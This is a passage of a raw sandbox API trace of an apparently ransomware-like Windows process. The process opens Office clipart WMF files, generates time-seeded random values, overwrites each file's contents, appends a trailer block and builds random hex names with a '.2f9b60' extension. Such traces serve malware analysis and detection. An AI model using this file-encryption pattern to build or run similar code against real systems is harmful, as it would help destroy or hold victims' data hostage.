0x1b860030 [0161.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c60 [0161.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860c60) returned 1 [0161.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0161.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c530) returned 1 [0161.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aaf50 [0161.612] SetFilePointerEx (in: hFile=0x1c48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.612] WriteFile (in: hFile=0x1c48, lpBuffer=0x423aaf50*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2234f7f0, lpOverlapped=0x0 | out: lpBuffer=0x423aaf50*, lpNumberOfBytesWritten=0x2234f7f0*=0x10a, lpOverlapped=0x0) returned 1 [0163.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce192c0 [0163.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262150 [0163.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262150) returned 1 [0163.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262150 [0163.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202620f0 [0163.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202620f0) returned 1 [0163.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce192c0) returned 1 [0163.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.365] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="a1") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="8a") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="7e") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="b5") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="15") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="69") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="fb") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="82") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="93") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="4f") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="4d") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="0d") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="23") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="b7") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="14") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="ba") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="2d") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="03") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="78") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="f6") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="65") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="9f") returned 2 [0163.365] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="61") returned 2 [0163.365] RtlInitAnsiString (in: DestinationString=0x2234f868, SourceString="a18a7eb51569fb82934f4d0d23b714ba2da90378f6659f61" | out: DestinationString="a18a7eb51569fb82934f4d0d23b714ba2da90378f6659f61") [0163.365] RtlAnsiStringToUnicodeString (in: DestinationString=0x2234f838, SourceString="a18a7eb51569fb82934f4d0d23b714ba2da90378f6659f61", AllocateDestinationString=1 | out: DestinationString="a18a7eb51569fb82934f4d0d23b714ba2da90378f6659f61") returned 0x0 [0163.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857480 [0163.366] RtlFreeAnsiString (AnsiString="a") [0163.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262150) returned 1 [0163.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aaf50) returned 1 [0163.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860420) returned 1 [0163.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860030) returned 1 [0163.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860630) returned 1 [0163.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262060) returned 1 [0163.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264010) returned 1 [0163.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260740) returned 1 [0163.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0163.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb59d0 [0163.369] wcscat (in: _Dest=0x1cdb59d0, _Source="a18a7eb51569" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a18a7eb51569") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a18a7eb51569" [0163.369] wcscat (in: _Dest=0x1cdb59d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a18a7eb51569.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a18a7eb51569.2f9b60" [0163.370] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a18a7eb51569.2f9b60", NtPathName=0x2234f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a18a7eb51569.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce22e60 Thread: id = 2320 os_tid = 0x1ca4 [0149.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x20 [0149.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF", dwFileAttributes=0x20) returned 1 [0149.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dec [0149.230] GetFileSizeEx (in: hFile=0x1dec, lpFileSize=0x1e70fc00 | out: lpFileSize=0x1e70fc00*=792) returned 1 [0149.230] SetFilePointerEx (in: hFile=0x1dec, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.230] ReadFile (in: hFile=0x1dec, lpBuffer=0x1e70fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e70fbc8, lpOverlapped=0x0 | out: lpBuffer=0x1e70fb80*, lpNumberOfBytesRead=0x1e70fbc8*=0x4, lpOverlapped=0x0) returned 1 [0149.232] SetFilePointerEx (in: hFile=0x1dec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260710 [0149.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0149.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfd0 [0149.233] NtQuerySystemTime (in: CurrentTime=0x1e70fac0 | out: CurrentTime=0x1e70fac0*=132462177544474000) returned 0x0 [0149.233] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x70372767 [0149.233] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x75403b53 [0149.233] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x39a588e8 [0149.233] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x2dc6f4eb [0149.233] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x4802c737 [0149.233] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x42c66d72 [0149.233] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x44a82cb5 [0149.233] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x62957c50 [0149.233] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x725ffcb0 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x239dd959 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x58ffb26f [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x6fcdfddb [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x5be4c340 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x2b793314 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x7c862b60 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x7899e9c1 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0xa559d09 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x5f983f36 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x7eef6dde [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x117d4216 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x3e0573e9 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x64d899bd [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x37a1e619 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x77d56ea1 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x56342bd4 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x18dbefb6 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x64f30f72 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x1eec10af [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0xffafae1 [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x4a26b70e [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x17ec2ec [0149.234] RtlRandomEx (in: Seed=0x1e70fab0 | out: Seed=0x1e70fab0) returned 0x2c2cdb00 [0149.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abcd0 [0149.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869d40 [0149.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab310 [0149.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869d40) returned 1 [0149.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfd0) returned 1 [0149.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260710) returned 1 [0149.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97fd0 [0149.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869d40 [0149.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260710 [0149.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260710) returned 1 [0149.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d53cc0 [0149.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c485a0 [0149.244] ReadFile (in: hFile=0x1dec, lpBuffer=0x41d53cc0, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x1e70fab0, lpOverlapped=0x0 | out: lpBuffer=0x41d53cc0*, lpNumberOfBytesRead=0x1e70fab0*=0x318, lpOverlapped=0x0) returned 1 [0149.244] SetFilePointerEx (in: hFile=0x1dec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.245] WriteFile (in: hFile=0x1dec, lpBuffer=0x41c485a0*, nNumberOfBytesToWrite=0x318, lpNumberOfBytesWritten=0x1e70fab4, lpOverlapped=0x0 | out: lpBuffer=0x41c485a0*, lpNumberOfBytesWritten=0x1e70fab4*=0x318, lpOverlapped=0x0) returned 1 [0161.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4970 [0161.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a49a0 [0161.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a49a0) returned 1 [0161.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c485a0) returned 1 [0161.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d53cc0) returned 1 [0161.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869d40) returned 1 [0161.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0161.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a49a0 [0161.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97fd0 [0161.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869d40 [0161.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a49d0 [0161.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a49d0) returned 1 [0161.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a49d0 [0161.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4a00 [0161.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4a30 [0161.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4a30) returned 1 [0161.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869d40) returned 1 [0161.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0161.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab190 [0161.626] SetFilePointerEx (in: hFile=0x1dec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.626] WriteFile (in: hFile=0x1dec, lpBuffer=0x423ab190*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e70fbd0, lpOverlapped=0x0 | out: lpBuffer=0x423ab190*, lpNumberOfBytesWritten=0x1e70fbd0*=0x10a, lpOverlapped=0x0) returned 1 [0163.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1280 [0163.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1280) returned 1 [0163.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1280 [0163.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1250 [0163.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1250) returned 1 [0163.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.397] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="6f") returned 2 [0163.397] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="2f") returned 2 [0163.397] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="04") returned 2 [0163.397] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="1e") returned 2 [0163.397] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="40") returned 2 [0163.397] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="89") returned 2 [0163.397] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.397] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="c5") returned 2 [0163.397] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="87") returned 2 [0163.397] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="e6") returned 2 [0163.397] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="b5") returned 2 [0163.398] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="93") returned 2 [0163.398] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="9c") returned 2 [0163.398] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="50") returned 2 [0163.398] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="35") returned 2 [0163.398] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="ae") returned 2 [0163.398] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="c1") returned 2 [0163.398] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="ff") returned 2 [0163.398] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="f5") returned 2 [0163.398] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="bc") returned 2 [0163.398] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="eb") returned 2 [0163.398] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="e7") returned 2 [0163.398] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="71") returned 2 [0163.398] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="e5") returned 2 [0163.398] RtlInitAnsiString (in: DestinationString=0x1e70fc48, SourceString="6f2f041e4089a9c587e6b5939c5035aec1fff5bcebe771e5" | out: DestinationString="6f2f041e4089a9c587e6b5939c5035aec1fff5bcebe771e5") [0163.398] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e70fc18, SourceString="6f2f041e4089a9c587e6b5939c5035aec1fff5bcebe771e5", AllocateDestinationString=1 | out: DestinationString="6f2f041e4089a9c587e6b5939c5035aec1fff5bcebe771e5") returned 0x0 [0163.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857560 [0163.399] RtlFreeAnsiString (AnsiString="6") [0163.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1280) returned 1 [0163.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ab190) returned 1 [0163.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a49d0) returned 1 [0163.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4a00) returned 1 [0163.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a49a0) returned 1 [0163.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4970) returned 1 [0163.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0163.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abcd0) returned 1 [0163.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab310) returned 1 [0163.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb5b10 [0163.402] wcscat (in: _Dest=0x1cdb5b10, _Source="6f2f041e4089" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6f2f041e4089") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6f2f041e4089" [0163.402] wcscat (in: _Dest=0x1cdb5b10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6f2f041e4089.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6f2f041e4089.2f9b60" [0163.402] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6f2f041e4089.2f9b60", NtPathName=0x1e70fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6f2f041e4089.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce230a0 Thread: id = 2321 os_tid = 0x1ca8 [0149.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x20 [0149.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF", dwFileAttributes=0x20) returned 1 [0149.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ad0 [0149.250] GetFileSizeEx (in: hFile=0x1ad0, lpFileSize=0x2364fc00 | out: lpFileSize=0x2364fc00*=17584) returned 1 [0149.250] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x44ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.250] ReadFile (in: hFile=0x1ad0, lpBuffer=0x2364fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2364fbc8, lpOverlapped=0x0 | out: lpBuffer=0x2364fb80*, lpNumberOfBytesRead=0x2364fbc8*=0x4, lpOverlapped=0x0) returned 1 [0149.251] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260710 [0149.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0149.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0149.252] NtQuerySystemTime (in: CurrentTime=0x2364fac0 | out: CurrentTime=0x2364fac0*=132462177544630000) returned 0x0 [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x21b1e26e [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x44bc2ef [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x1fbdc49d [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x74da6daa [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x4badd5ef [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x4d8721e4 [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x7c2048a0 [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x7fba096 [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x71ef4d9b [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x2f359907 [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x13c718fa [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x5366d371 [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x33b0a453 [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x40371865 [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x704eb536 [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x1c003e2d [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x32288ed [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x7a2d4921 [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x6f4ecdc [0149.252] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x2e29c7c9 [0149.253] RtlRandomEx (in: Seed=0x2364fab0 | out: Seed=0x2364fab0) returned 0x6579efc5 